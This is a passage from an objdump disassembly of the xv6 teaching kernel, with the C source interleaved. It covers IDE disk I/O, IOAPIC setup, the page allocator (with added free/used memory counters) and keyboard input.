801020d4: b9 80 00 00 00 mov $0x80,%ecx
801020d9: ba f0 01 00 00 mov $0x1f0,%edx
801020de: fc cld
801020df: f3 6d rep insl (%dx),%es:(%edi)
801020e1: 8b 3b mov (%ebx),%edi
// Wake process waiting for this buf.
b->flags |= B_VALID;
b->flags &= ~B_DIRTY;
801020e3: 83 e7 fb and $0xfffffffb,%edi
wakeup(b);
801020e6: 83 ec 0c sub $0xc,%esp
b->flags &= ~B_DIRTY;
801020e9: 89 f9 mov %edi,%ecx
801020eb: 83 c9 02 or $0x2,%ecx
801020ee: 89 0b mov %ecx,(%ebx)
wakeup(b);
801020f0: 53 push %ebx
801020f1: e8 3a 1f 00 00 call 80104030 <wakeup>
// Start disk on next buf in queue.
if(idequeue != 0)
801020f6: a1 64 a5 10 80 mov 0x8010a564,%eax
801020fb: 83 c4 10 add $0x10,%esp
801020fe: 85 c0 test %eax,%eax
80102100: 74 05 je 80102107 <ideintr+0x87>
idestart(idequeue);
80102102: e8 19 fe ff ff call 80101f20 <idestart>
release(&idelock);
80102107: 83 ec 0c sub $0xc,%esp
8010210a: 68 80 a5 10 80 push $0x8010a580
8010210f: e8 0c 25 00 00 call 80104620 <release>
release(&idelock);
}
80102114: 8d 65 f4 lea -0xc(%ebp),%esp
80102117: 5b pop %ebx
80102118: 5e pop %esi
80102119: 5f pop %edi
8010211a: 5d pop %ebp
8010211b: c3 ret
8010211c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102120 <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
80102120: 55 push %ebp
80102121: 89 e5 mov %esp,%ebp
80102123: 53 push %ebx
80102124: 83 ec 10 sub $0x10,%esp
80102127: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf **pp;
if(!holdingsleep(&b->lock))
8010212a: 8d 43 0c lea 0xc(%ebx),%eax
8010212d: 50 push %eax
8010212e: e8 9d 22 00 00 call 801043d0 <holdingsleep>
80102133: 83 c4 10 add $0x10,%esp
80102136: 85 c0 test %eax,%eax
80102138: 0f 84 c6 00 00 00 je 80102204 <iderw+0xe4>
panic("iderw: buf not locked");
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
8010213e: 8b 03 mov (%ebx),%eax
80102140: 83 e0 06 and $0x6,%eax
80102143: 83 f8 02 cmp $0x2,%eax
80102146: 0f 84 ab 00 00 00 je 801021f7 <iderw+0xd7>
panic("iderw: nothing to do");
if(b->dev != 0 && !havedisk1)
8010214c: 8b 53 04 mov 0x4(%ebx),%edx
8010214f: 85 d2 test %edx,%edx
80102151: 74 0d je 80102160 <iderw+0x40>
80102153: a1 60 a5 10 80 mov 0x8010a560,%eax
80102158: 85 c0 test %eax,%eax
8010215a: 0f 84 b1 00 00 00 je 80102211 <iderw+0xf1>
panic("iderw: ide disk 1 not present");
acquire(&idelock); //DOC:acquire-lock
80102160: 83 ec 0c sub $0xc,%esp
80102163: 68 80 a5 10 80 push $0x8010a580
80102168: e8 f3 23 00 00 call 80104560 <acquire>
// Append b to idequeue.
b->qnext = 0;
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
8010216d: 8b 15 64 a5 10 80 mov 0x8010a564,%edx
80102173: 83 c4 10 add $0x10,%esp
b->qnext = 0;
80102176: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx)
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
8010217d: 85 d2 test %edx,%edx
8010217f: 75 09 jne 8010218a <iderw+0x6a>
80102181: eb 6d jmp 801021f0 <iderw+0xd0>
80102183: 90 nop
80102184: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102188: 89 c2 mov %eax,%edx
8010218a: 8b 42 58 mov 0x58(%edx),%eax
8010218d: 85 c0 test %eax,%eax
8010218f: 75 f7 jne 80102188 <iderw+0x68>
80102191: 83 c2 58 add $0x58,%edx
;
*pp = b;
80102194: 89 1a mov %ebx,(%edx)
// Start disk if necessary.
if(idequeue == b)
80102196: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564
8010219c: 74 42 je 801021e0 <iderw+0xc0>
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
8010219e: 8b 03 mov (%ebx),%eax
801021a0: 83 e0 06 and $0x6,%eax
801021a3: 83 f8 02 cmp $0x2,%eax
801021a6: 74 23 je 801021cb <iderw+0xab>
801021a8: 90 nop
801021a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
sleep(b, &idelock);
801021b0: 83 ec 08 sub $0x8,%esp
801021b3: 68 80 a5 10 80 push $0x8010a580
801021b8: 53 push %ebx
801021b9: e8 c2 1c 00 00 call 80103e80 <sleep>
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
801021be: 8b 03 mov (%ebx),%eax
801021c0: 83 c4 10 add $0x10,%esp
801021c3: 83 e0 06 and $0x6,%eax
801021c6: 83 f8 02 cmp $0x2,%eax
801021c9: 75 e5 jne 801021b0 <iderw+0x90>
}
release(&idelock);
801021cb: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp)
}
801021d2: 8b 5d fc mov -0x4(%ebp),%ebx
801021d5: c9 leave
release(&idelock);
801021d6: e9 45 24 00 00 jmp 80104620 <release>
801021db: 90 nop
801021dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
idestart(b);
801021e0: 89 d8 mov %ebx,%eax
801021e2: e8 39 fd ff ff call 80101f20 <idestart>
801021e7: eb b5 jmp 8010219e <iderw+0x7e>
801021e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
801021f0: ba 64 a5 10 80 mov $0x8010a564,%edx
801021f5: eb 9d jmp 80102194 <iderw+0x74>
panic("iderw: nothing to do");
801021f7: 83 ec 0c sub $0xc,%esp
801021fa: 68 60 75 10 80 push $0x80107560
801021ff: e8 8c e1 ff ff call 80100390 <panic>
panic("iderw: buf not locked");
80102204: 83 ec 0c sub $0xc,%esp
80102207: 68 4a 75 10 80 push $0x8010754a
8010220c: e8 7f e1 ff ff call 80100390 <panic>
panic("iderw: ide disk 1 not present");
80102211: 83 ec 0c sub $0xc,%esp
80102214: 68 75 75 10 80 push $0x80107575
80102219: e8 72 e1 ff ff call 80100390 <panic>
8010221e: 66 90 xchg %ax,%ax
80102220 <ioapicinit>:
ioapic->data = data;
}
void
ioapicinit(void)
{
80102220: 55 push %ebp
int i, id, maxintr;
ioapic = (volatile struct ioapic*)IOAPIC;
80102221: c7 05 54 26 11 80 00 movl $0xfec00000,0x80112654
80102228: 00 c0 fe
{
8010222b: 89 e5 mov %esp,%ebp
8010222d: 56 push %esi
8010222e: 53 push %ebx
ioapic->reg = reg;
8010222f: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000
80102236: 00 00 00
return ioapic->data;
80102239: a1 54 26 11 80 mov 0x80112654,%eax
8010223e: 8b 58 10 mov 0x10(%eax),%ebx
ioapic->reg = reg;
80102241: c7 00 00 00 00 00 movl $0x0,(%eax)
return ioapic->data;
80102247: 8b 0d 54 26 11 80 mov 0x80112654,%ecx
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
id = ioapicread(REG_ID) >> 24;
if(id != ioapicid)
8010224d: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
80102254: c1 eb 10 shr $0x10,%ebx
return ioapic->data;
80102257: 8b 41 10 mov 0x10(%ecx),%eax
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
8010225a: 0f b6 db movzbl %bl,%ebx
id = ioapicread(REG_ID) >> 24;
8010225d: c1 e8 18 shr $0x18,%eax
if(id != ioapicid)
80102260: 39 c2 cmp %eax,%edx
80102262: 74 16 je 8010227a <ioapicinit+0x5a>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
80102264: 83 ec 0c sub $0xc,%esp
80102267: 68 94 75 10 80 push $0x80107594
8010226c: e8 ef e3 ff ff call 80100660 <cprintf>
80102271: 8b 0d 54 26 11 80 mov 0x80112654,%ecx
80102277: 83 c4 10 add $0x10,%esp
8010227a: 83 c3 21 add $0x21,%ebx
{
8010227d: ba 10 00 00 00 mov $0x10,%edx
80102282: b8 20 00 00 00 mov $0x20,%eax
80102287: 89 f6 mov %esi,%esi
80102289: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
ioapic->reg = reg;
80102290: 89 11 mov %edx,(%ecx)
ioapic->data = data;
80102292: 8b 0d 54 26 11 80 mov 0x80112654,%ecx
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
80102298: 89 c6 mov %eax,%esi
8010229a: 81 ce 00 00 01 00 or $0x10000,%esi
801022a0: 83 c0 01 add $0x1,%eax
ioapic->data = data;
801022a3: 89 71 10 mov %esi,0x10(%ecx)
801022a6: 8d 72 01 lea 0x1(%edx),%esi
801022a9: 83 c2 02 add $0x2,%edx
for(i = 0; i <= maxintr; i++){
801022ac: 39 d8 cmp %ebx,%eax
ioapic->reg = reg;
801022ae: 89 31 mov %esi,(%ecx)
ioapic->data = data;
801022b0: 8b 0d 54 26 11 80 mov 0x80112654,%ecx
801022b6: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx)
for(i = 0; i <= maxintr; i++){
801022bd: 75 d1 jne 80102290 <ioapicinit+0x70>
ioapicwrite(REG_TABLE+2*i+1, 0);
}
}
801022bf: 8d 65 f8 lea -0x8(%ebp),%esp
801022c2: 5b pop %ebx
801022c3: 5e pop %esi
801022c4: 5d pop %ebp
801022c5: c3 ret
801022c6: 8d 76 00 lea 0x0(%esi),%esi
801022c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801022d0 <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
801022d0: 55 push %ebp
ioapic->reg = reg;
801022d1: 8b 0d 54 26 11 80 mov 0x80112654,%ecx
{
801022d7: 89 e5 mov %esp,%ebp
801022d9: 8b 45 08 mov 0x8(%ebp),%eax
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
801022dc: 8d 50 20 lea 0x20(%eax),%edx
801022df: 8d 44 00 10 lea 0x10(%eax,%eax,1),%eax
ioapic->reg = reg;
801022e3: 89 01 mov %eax,(%ecx)
ioapic->data = data;
801022e5: 8b 0d 54 26 11 80 mov 0x80112654,%ecx
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022eb: 83 c0 01 add $0x1,%eax
ioapic->data = data;
801022ee: 89 51 10 mov %edx,0x10(%ecx)
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022f1: 8b 55 0c mov 0xc(%ebp),%edx
ioapic->reg = reg;
801022f4: 89 01 mov %eax,(%ecx)
ioapic->data = data;
801022f6: a1 54 26 11 80 mov 0x80112654,%eax
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022fb: c1 e2 18 shl $0x18,%edx
ioapic->data = data;
801022fe: 89 50 10 mov %edx,0x10(%eax)
}
80102301: 5d pop %ebp
80102302: c3 ret
80102303: 66 90 xchg %ax,%ax
80102305: 66 90 xchg %ax,%ax
80102307: 66 90 xchg %ax,%ax
80102309: 66 90 xchg %ax,%ax
8010230b: 66 90 xchg %ax,%ax
8010230d: 66 90 xchg %ax,%ax
8010230f: 90 nop
80102310 <kfree>:
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
80102310: 55 push %ebp
80102311: 89 e5 mov %esp,%ebp
80102313: 53 push %ebx
80102314: 83 ec 04 sub $0x4,%esp
80102317: 8b 5d 08 mov 0x8(%ebp),%ebx
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
8010231a: f7 c3 ff 0f 00 00 test $0xfff,%ebx
80102320: 0f 85 84 00 00 00 jne 801023aa <kfree+0x9a>
80102326: 81 fb a8 51 11 80 cmp $0x801151a8,%ebx
8010232c: 72 7c jb 801023aa <kfree+0x9a>
8010232e: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80102334: 3d ff ff ff 0d cmp $0xdffffff,%eax
80102339: 77 6f ja 801023aa <kfree+0x9a>
panic("kfree");
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
8010233b: 83 ec 04 sub $0x4,%esp
8010233e: 68 00 10 00 00 push $0x1000
80102343: 6a 01 push $0x1
80102345: 53 push %ebx
80102346: e8 25 23 00 00 call 80104670 <memset>
if(kmem.use_lock)
8010234b: 8b 15 94 26 11 80 mov 0x80112694,%edx
80102351: 83 c4 10 add $0x10,%esp
80102354: 85 d2 test %edx,%edx
80102356: 75 40 jne 80102398 <kfree+0x88>
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
80102358: a1 98 26 11 80 mov 0x80112698,%eax
8010235d: 89 03 mov %eax,(%ebx)
kmem.freelist = r;
if(kmem.use_lock)
8010235f: a1 94 26 11 80 mov 0x80112694,%eax
kmem.freelist = r;
80102364: 89 1d 98 26 11 80 mov %ebx,0x80112698
if(kmem.use_lock)
8010236a: 85 c0 test %eax,%eax
8010236c: 74 10 je 8010237e <kfree+0x6e>
release(&kmem.lock);
8010236e: 83 ec 0c sub $0xc,%esp
80102371: 68 60 26 11 80 push $0x80112660
80102376: e8 a5 22 00 00 call 80104620 <release>
8010237b: 83 c4 10 add $0x10,%esp
freeMemCount = freeMemCount + 1;
8010237e: 83 05 b8 a5 10 80 01 addl $0x1,0x8010a5b8
usedMemCount = usedMemCount - 1;
80102385: 83 2d b4 a5 10 80 01 subl $0x1,0x8010a5b4
}
8010238c: 8b 5d fc mov -0x4(%ebp),%ebx
8010238f: c9 leave
80102390: c3 ret
80102391: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
acquire(&kmem.lock);
80102398: 83 ec 0c sub $0xc,%esp
8010239b: 68 60 26 11 80 push $0x80112660
801023a0: e8 bb 21 00 00 call 80104560 <acquire>
801023a5: 83 c4 10 add $0x10,%esp
801023a8: eb ae jmp 80102358 <kfree+0x48>
panic("kfree");
801023aa: 83 ec 0c sub $0xc,%esp
801023ad: 68 c6 75 10 80 push $0x801075c6
801023b2: e8 d9 df ff ff call 80100390 <panic>
801023b7: 89 f6 mov %esi,%esi
801023b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801023c0 <freerange>:
{
801023c0: 55 push %ebp
801023c1: 89 e5 mov %esp,%ebp
801023c3: 56 push %esi
801023c4: 53 push %ebx
p = (char*)PGROUNDUP((uint)vstart);
801023c5: 8b 45 08 mov 0x8(%ebp),%eax
{
801023c8: 8b 75 0c mov 0xc(%ebp),%esi
p = (char*)PGROUNDUP((uint)vstart);
801023cb: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
801023d1: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801023d7: 81 c3 00 10 00 00 add $0x1000,%ebx
801023dd: 39 de cmp %ebx,%esi
801023df: 72 23 jb 80102404 <freerange+0x44>
801023e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
kfree(p);
801023e8: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax
801023ee: 83 ec 0c sub $0xc,%esp
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801023f1: 81 c3 00 10 00 00 add $0x1000,%ebx
kfree(p);
801023f7: 50 push %eax
801023f8: e8 13 ff ff ff call 80102310 <kfree>
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801023fd: 83 c4 10 add $0x10,%esp
80102400: 39 f3 cmp %esi,%ebx
80102402: 76 e4 jbe 801023e8 <freerange+0x28>
}
80102404: 8d 65 f8 lea -0x8(%ebp),%esp
80102407: 5b pop %ebx
80102408: 5e pop %esi
80102409: 5d pop %ebp
8010240a: c3 ret
8010240b: 90 nop
8010240c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102410 <kinit1>:
{
80102410: 55 push %ebp
80102411: 89 e5 mov %esp,%ebp
80102413: 57 push %edi
80102414: 56 push %esi
80102415: 53 push %ebx
80102416: 83 ec 14 sub $0x14,%esp
80102419: 8b 7d 08 mov 0x8(%ebp),%edi
8010241c: 8b 75 0c mov 0xc(%ebp),%esi
initlock(&kmem.lock, "kmem");
8010241f: 68 cc 75 10 80 push $0x801075cc
80102424: 68 60 26 11 80 push $0x80112660
p = (char*)PGROUNDUP((uint)vstart);
80102429: 8d 9f ff 0f 00 00 lea 0xfff(%edi),%ebx
initlock(&kmem.lock, "kmem");
8010242f: e8 ec 1f 00 00 call 80104420 <initlock>
p = (char*)PGROUNDUP((uint)vstart);
80102434: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
8010243a: 83 c4 10 add $0x10,%esp
kmem.use_lock = 0;
8010243d: c7 05 94 26 11 80 00 movl $0x0,0x80112694
80102444: 00 00 00
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102447: 81 c3 00 10 00 00 add $0x1000,%ebx
8010244d: 39 de cmp %ebx,%esi
8010244f: 72 23 jb 80102474 <kinit1+0x64>
80102451: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
kfree(p);
80102458: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax
8010245e: 83 ec 0c sub $0xc,%esp
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102461: 81 c3 00 10 00 00 add $0x1000,%ebx
kfree(p);
80102467: 50 push %eax
80102468: e8 a3 fe ff ff call 80102310 <kfree>
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
8010246d: 83 c4 10 add $0x10,%esp
80102470: 39 de cmp %ebx,%esi
80102472: 73 e4 jae 80102458 <kinit1+0x48>
freeMemCount = freeMemCount + (vend - vstart)/PGSIZE;
80102474: 29 fe sub %edi,%esi
80102476: 8d 86 ff 0f 00 00 lea 0xfff(%esi),%eax
8010247c: 85 f6 test %esi,%esi
8010247e: 0f 48 f0 cmovs %eax,%esi
80102481: c1 fe 0c sar $0xc,%esi
80102484: 01 35 b8 a5 10 80 add %esi,0x8010a5b8
}
8010248a: 8d 65 f4 lea -0xc(%ebp),%esp
8010248d: 5b pop %ebx
8010248e: 5e pop %esi
8010248f: 5f pop %edi
80102490: 5d pop %ebp
80102491: c3 ret
80102492: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102499: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801024a0 <kinit2>:
{
801024a0: 55 push %ebp
801024a1: 89 e5 mov %esp,%ebp
801024a3: 57 push %edi
801024a4: 56 push %esi
801024a5: 53 push %ebx
801024a6: 83 ec 0c sub $0xc,%esp
801024a9: 8b 7d 08 mov 0x8(%ebp),%edi
801024ac: 8b 75 0c mov 0xc(%ebp),%esi
p = (char*)PGROUNDUP((uint)vstart);
801024af: 8d 9f ff 0f 00 00 lea 0xfff(%edi),%ebx
801024b5: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801024bb: 81 c3 00 10 00 00 add $0x1000,%ebx
801024c1: 39 de cmp %ebx,%esi
801024c3: 72 1f jb 801024e4 <kinit2+0x44>
801024c5: 8d 76 00 lea 0x0(%esi),%esi
kfree(p);
801024c8: 8d 83 00 f0 ff ff lea -0x1000(%ebx),%eax
801024ce: 83 ec 0c sub $0xc,%esp
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801024d1: 81 c3 00 10 00 00 add $0x1000,%ebx
kfree(p);
801024d7: 50 push %eax
801024d8: e8 33 fe ff ff call 80102310 <kfree>
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801024dd: 83 c4 10 add $0x10,%esp
801024e0: 39 de cmp %ebx,%esi
801024e2: 73 e4 jae 801024c8 <kinit2+0x28>
freeMemCount = freeMemCount + (vend - vstart)/PGSIZE;
801024e4: 29 fe sub %edi,%esi
kmem.use_lock = 1;
801024e6: c7 05 94 26 11 80 01 movl $0x1,0x80112694
801024ed: 00 00 00
usedMemCount = 0;
801024f0: c7 05 b4 a5 10 80 00 movl $0x0,0x8010a5b4
801024f7: 00 00 00
freeMemCount = freeMemCount + (vend - vstart)/PGSIZE;
801024fa: 8d 86 ff 0f 00 00 lea 0xfff(%esi),%eax
80102500: 85 f6 test %esi,%esi
80102502: 0f 48 f0 cmovs %eax,%esi
80102505: c1 fe 0c sar $0xc,%esi
80102508: 01 35 b8 a5 10 80 add %esi,0x8010a5b8
}
8010250e: 8d 65 f4 lea -0xc(%ebp),%esp
80102511: 5b pop %ebx
80102512: 5e pop %esi
80102513: 5f pop %edi
80102514: 5d pop %ebp
80102515: c3 ret
80102516: 8d 76 00 lea 0x0(%esi),%esi
80102519: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102520 <kalloc>:
kalloc(void)
{
struct run *r;
freeMemCount = freeMemCount - 1;
usedMemCount = usedMemCount + 1;
if(kmem.use_lock)
80102520: a1 94 26 11 80 mov 0x80112694,%eax
freeMemCount = freeMemCount - 1;
80102525: 83 2d b8 a5 10 80 01 subl $0x1,0x8010a5b8
usedMemCount = usedMemCount + 1;
8010252c: 83 05 b4 a5 10 80 01 addl $0x1,0x8010a5b4
if(kmem.use_lock)
80102533: 85 c0 test %eax,%eax
80102535: 75 21 jne 80102558 <kalloc+0x38>
acquire(&kmem.lock);
r = kmem.freelist;
80102537: a1 98 26 11 80 mov 0x80112698,%eax
if(r)
8010253c: 85 c0 test %eax,%eax
8010253e: 74 10 je 80102550 <kalloc+0x30>
kmem.freelist = r->next;
80102540: 8b 10 mov (%eax),%edx
80102542: 89 15 98 26 11 80 mov %edx,0x80112698
80102548: c3 ret
80102549: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(kmem.use_lock)
release(&kmem.lock);
return (char*)r;
}
80102550: f3 c3 repz ret
80102552: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
{
80102558: 55 push %ebp
80102559: 89 e5 mov %esp,%ebp
8010255b: 83 ec 24 sub $0x24,%esp
acquire(&kmem.lock);
8010255e: 68 60 26 11 80 push $0x80112660
80102563: e8 f8 1f 00 00 call 80104560 <acquire>
r = kmem.freelist;
80102568: a1 98 26 11 80 mov 0x80112698,%eax
if(r)
8010256d: 83 c4 10 add $0x10,%esp
80102570: 8b 15 94 26 11 80 mov 0x80112694,%edx
80102576: 85 c0 test %eax,%eax
80102578: 74 08 je 80102582 <kalloc+0x62>
kmem.freelist = r->next;
8010257a: 8b 08 mov (%eax),%ecx
8010257c: 89 0d 98 26 11 80 mov %ecx,0x80112698
if(kmem.use_lock)
80102582: 85 d2 test %edx,%edx
80102584: 74 16 je 8010259c <kalloc+0x7c>
release(&kmem.lock);
80102586: 83 ec 0c sub $0xc,%esp
80102589: 89 45 f4 mov %eax,-0xc(%ebp)
8010258c: 68 60 26 11 80 push $0x80112660
80102591: e8 8a 20 00 00 call 80104620 <release>
return (char*)r;
80102596: 8b 45 f4 mov -0xc(%ebp),%eax
release(&kmem.lock);
80102599: 83 c4 10 add $0x10,%esp
}
8010259c: c9 leave
8010259d: c3 ret
8010259e: 66 90 xchg %ax,%ax
801025a0 <freeMem>:
void
freeMem()
{
int cnt = 0;
struct run *r;
r = kmem.freelist;
801025a0: a1 98 26 11 80 mov 0x80112698,%eax
{
801025a5: 55 push %ebp
801025a6: 89 e5 mov %esp,%ebp
801025a8: 56 push %esi
801025a9: 53 push %ebx
while((r = r->next))
801025aa: 8b 00 mov (%eax),%eax
801025ac: 85 c0 test %eax,%eax
801025ae: 74 50 je 80102600 <freeMem+0x60>
int cnt = 0;
801025b0: 31 d2 xor %edx,%edx
801025b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
while((r = r->next))
801025b8: 8b 00 mov (%eax),%eax
cnt++;
801025ba: 83 c2 01 add $0x1,%edx
while((r = r->next))
801025bd: 85 c0 test %eax,%eax
801025bf: 75 f7 jne 801025b8 <freeMem+0x18>
801025c1: 89 d6 mov %edx,%esi
801025c3: c1 e6 0c shl $0xc,%esi
//cprintf("Count is %d",cnt);
int total = cnt + usedMemCount;
cprintf("Free Used Total\n");
801025c6: 83 ec 0c sub $0xc,%esp
int total = cnt + usedMemCount;
801025c9: 8b 1d b4 a5 10 80 mov 0x8010a5b4,%ebx
cprintf("Free Used Total\n");
801025cf: 68 d1 75 10 80 push $0x801075d1
int total = cnt + usedMemCount;
801025d4: 01 d3 add %edx,%ebx
cprintf("Free Used Total\n");
801025d6: e8 85 e0 ff ff call 80100660 <cprintf>
cprintf("%d %d %d \n", cnt*PGSIZE, usedMemCount*PGSIZE, total*PGSIZE);
801025db: a1 b4 a5 10 80 mov 0x8010a5b4,%eax
801025e0: c1 e3 0c shl $0xc,%ebx
801025e3: 53 push %ebx
801025e4: c1 e0 0c shl $0xc,%eax
801025e7: 50 push %eax
801025e8: 56 push %esi
801025e9: 68 e3 75 10 80 push $0x801075e3
801025ee: e8 6d e0 ff ff call 80100660 <cprintf>
}
801025f3: 83 c4 20 add $0x20,%esp
801025f6: 8d 65 f8 lea -0x8(%ebp),%esp
801025f9: 5b pop %ebx
801025fa: 5e pop %esi
801025fb: 5d pop %ebp
801025fc: c3 ret
801025fd: 8d 76 00 lea 0x0(%esi),%esi
while((r = r->next))
80102600: 31 f6 xor %esi,%esi
int cnt = 0;
80102602: 31 d2 xor %edx,%edx
80102604: eb c0 jmp 801025c6 <freeMem+0x26>
80102606: 66 90 xchg %ax,%ax
80102608: 66 90 xchg %ax,%ax
8010260a: 66 90 xchg %ax,%ax
8010260c: 66 90 xchg %ax,%ax
8010260e: 66 90 xchg %ax,%ax
80102610 <kbdgetc>:
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102610: ba 64 00 00 00 mov $0x64,%edx
80102615: ec in (%dx),%al
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
if((st & KBS_DIB) == 0)
80102616: a8 01 test $0x1,%al
80102618: 0f 84 c2 00 00 00 je 801026e0 <kbdgetc+0xd0>
8010261e: ba 60 00 00 00 mov $0x60,%edx
80102623: ec in (%dx),%al
return -1;
data = inb(KBDATAP);
80102624: 0f b6 d0 movzbl %al,%edx
80102627: 8b 0d bc a5 10 80 mov 0x8010a5bc,%ecx
if(data == 0xE0){
8010262d: 81 fa e0 00 00 00 cmp $0xe0,%edx
80102633: 0f 84 7f 00 00 00 je 801026b8 <kbdgetc+0xa8>
{
80102639: 55 push %ebp
8010263a: 89 e5 mov %esp,%ebp
8010263c: 53 push %ebx
8010263d: 89 cb mov %ecx,%ebx
8010263f: 83 e3 40 and $0x40,%ebx
shift |= E0ESC;
return 0;
} else if(data & 0x80){
80102642: 84 c0 test %al,%al
80102644: 78 4a js 80102690 <kbdgetc+0x80>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
shift &= ~(shiftcode[data] | E0ESC);
return 0;
} else if(shift & E0ESC){
80102646: 85 db test %ebx,%ebx
80102648: 74 09 je 80102653 <kbdgetc+0x43>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
8010264a: 83 c8 80 or $0xffffff80,%eax
shift &= ~E0ESC;
8010264d: 83 e1 bf and $0xffffffbf,%ecx
data |= 0x80;
80102650: 0f b6 d0 movzbl %al,%edx
}
shift |= shiftcode[data];
80102653: 0f b6 82 20 77 10 80 movzbl -0x7fef88e0(%edx),%eax
8010265a: 09 c1 or %eax,%ecx
shift ^= togglecode[data];
8010265c: 0f b6 82 20 76 10 80 movzbl -0x7fef89e0(%edx),%eax
80102663: 31 c1 xor %eax,%ecx
c = charcode[shift & (CTL | SHIFT)][data];
80102665: 89 c8 mov %ecx,%eax
shift ^= togglecode[data];
80102667: 89 0d bc a5 10 80 mov %ecx,0x8010a5bc
c = charcode[shift & (CTL | SHIFT)][data];
8010266d: 83 e0 03 and $0x3,%eax
if(shift & CAPSLOCK){
80102670: 83 e1 08 and $0x8,%ecx
c = charcode[shift & (CTL | SHIFT)][data];
80102673: 8b 04 85 00 76 10 80 mov -0x7fef8a00(,%eax,4),%eax
8010267a: 0f b6 04 10 movzbl (%eax,%edx,1),%eax
if(shift & CAPSLOCK){
8010267e: 74 31 je 801026b1 <kbdgetc+0xa1>
if('a' <= c && c <= 'z')
80102680: 8d 50 9f lea -0x61(%eax),%edx
80102683: 83 fa 19 cmp $0x19,%edx
80102686: 77 40 ja 801026c8 <kbdgetc+0xb8>
c += 'A' - 'a';
80102688: 83 e8 20 sub $0x20,%eax
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
}
return c;
}
8010268b: 5b pop %ebx
8010268c: 5d pop %ebp
8010268d: c3 ret
8010268e: 66 90 xchg %ax,%ax
data = (shift & E0ESC ? data : data & 0x7F);
80102690: 83 e0 7f and $0x7f,%eax
80102693: 85 db test %ebx,%ebx
80102695: 0f 44 d0 cmove %eax,%edx
shift &= ~(shiftcode[data] | E0ESC);
80102698: 0f b6 82 20 77 10 80 movzbl -0x7fef88e0(%edx),%eax
8010269f: 83 c8 40 or $0x40,%eax
801026a2: 0f b6 c0 movzbl %al,%eax
801026a5: f7 d0 not %eax
801026a7: 21 c1 and %eax,%ecx
return 0;
